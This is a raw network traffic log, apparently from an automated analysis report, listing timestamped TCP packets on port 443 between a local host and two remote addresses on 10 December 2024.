Dec 10, 2024 07:35:24.815664053 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.815749884 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.815756083 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.815809011 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.820734024 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.820755959 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.820839882 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.820846081 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.820902109 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.825381041 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.825397968 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.825488091 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.825499058 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.825544119 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.826740026 CET	443	49751	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:24.826824903 CET	49751	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:24.828448057 CET	49751	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:24.828460932 CET	443	49751	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:24.828751087 CET	443	49751	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:24.830406904 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.830425024 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.830506086 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.830529928 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.830566883 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.831691027 CET	49751	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:24.833328962 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.833352089 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.833431005 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.833447933 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.833489895 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.839921951 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.839961052 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.840034008 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.840042114 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.840089083 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.845891953 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.845915079 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.845993042 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.846000910 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.846040010 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.854954958 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.854978085 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.855082989 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.855097055 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.855138063 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.861500025 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.861525059 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.861586094 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.861597061 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.861640930 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.869630098 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.869676113 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.869750977 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.869760036 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.869807959 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.876399994 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.876426935 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.876492023 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.876497030 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.876518965 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.876544952 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.879333973 CET	443	49751	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:24.882308006 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.882332087 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.882407904 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.882443905 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.882483006 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.888324976 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.888350964 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.888421059 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.888442993 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.888488054 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.906527996 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.906553984 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.906613111 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.906645060 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.906683922 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.998409033 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.998433113 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.998514891 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.998550892 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.998594046 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.003333092 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.003350019 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.003443003 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.003463984 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.003514051 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.007826090 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.007843971 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.007926941 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.007946968 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.008115053 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.012855053 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.012878895 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.012969017 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.012989044 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.013036013 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.017546892 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.017561913 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.017637968 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.017658949 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.017700911 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.022572041 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.022588968 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.022681952 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.022703886 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.022751093 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.025598049 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.025631905 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.025696993 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.025708914 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.025747061 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.032578945 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.032609940 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.032675028 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.032686949 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.032721996 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.039712906 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.039737940 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.039810896 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.039818048 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.039855957 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.046837091 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.046859026 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.046914101 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.046919107 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.046951056 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.054390907 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.054419041 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.054481983 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.054491997 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.054527044 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.061508894 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.061531067 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.061589003 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.061594963 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.061630964 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.069192886 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.069221020 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.069273949 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.069281101 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.069334030 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.076000929 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.076020956 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.076092005 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.076117039 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.076165915 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.080426931 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.080454111 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.080535889 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.080557108 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.080601931 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.098871946 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.098905087 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.098970890 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.098984003 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.099001884 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.099025965 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.188605070 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.188630104 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.188810110 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.188838959 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.188893080 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.193572044 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.193588972 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.193692923 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.193698883 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.193747997 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.198431969 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.198451042 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.198544025 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.198549032 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.198590040 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.203408003 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.203424931 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.203516006 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.203520060 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.203563929 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.208090067 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.208107948 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.208209038 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.208214045 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.208271027 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.212578058 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.212596893 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.212697983 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.212704897 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.212749958 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.215603113 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.215631008 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.215703011 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.215734959 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.215783119 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.222253084 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.222275972 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.222352982 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.222368002 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.222439051 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.229796886 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.229816914 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.229885101 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.229892969 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.229931116 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.237454891 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.237485886 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.237550974 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.237560987 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.237596035 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.245033026 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.245050907 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.245161057 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.245172977 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.245215893 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.252110958 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.252139091 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.252201080 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.252207994 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.252249956 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.259809017 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.259831905 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.259984970 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.259993076 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.260134935 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.266304016 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.266331911 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.266453981 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.266477108 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.266515017 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.270733118 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.270755053 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.270849943 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.270857096 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.270909071 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.289177895 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.289211035 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.289338112 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.289350986 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.289406061 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.381268978 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.381299973 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.381469965 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.381498098 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.381551027 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.386251926 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.386272907 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.386378050 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.386401892 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.386449099 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.390549898 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.390568018 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.390666962 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.390687943 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.390737057 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.395569086 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.395587921 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.395661116 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.395680904 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.395725965 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.400226116 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.400247097 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.400324106 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.400341034 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.400384903 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.405205965 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.405220985 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.405312061 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.405333042 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.405378103 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.407999039 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.408056021 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.408088923 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.408109903 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.408126116 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.408155918 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.415599108 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.415648937 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.415715933 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.415724993 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.415757895 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.415800095 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.422533035 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.422606945 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.422646046 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.422657013 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.422683954 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.422694921 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.429831028 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.429887056 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.429955959 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.429955959 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.429966927 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.431135893 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.437428951 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.437450886 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.437546015 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.437558889 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.437624931 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.451385975 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.451406956 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.451519012 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.451529026 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.451569080 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.458066940 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.458126068 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.458192110 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.458198071 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.458211899 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.468802929 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.468827009 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.468930960 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.468952894 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.468996048 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.473671913 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.473690987 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.473751068 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.473762035 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.473810911 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.482388020 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.482403040 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.482464075 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.482476950 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.482517004 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.509284973 CET	443	49751	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:25.509417057 CET	443	49751	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:25.509468079 CET	49751	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:25.509488106 CET	443	49751	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:25.509505033 CET	443	49751	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:25.509536028 CET	49751	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:25.509573936 CET	49751	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:25.510072947 CET	49751	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:25.510108948 CET	443	49751	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:25.522144079 CET	49759	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.522208929 CET	443	49759	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.522273064 CET	49759	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.522830963 CET	49759	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.522844076 CET	443	49759	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.535295010 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:25.573582888 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.573610067 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:25.573703051 CET	49720	443	192.168.2.5	185.199.109.133
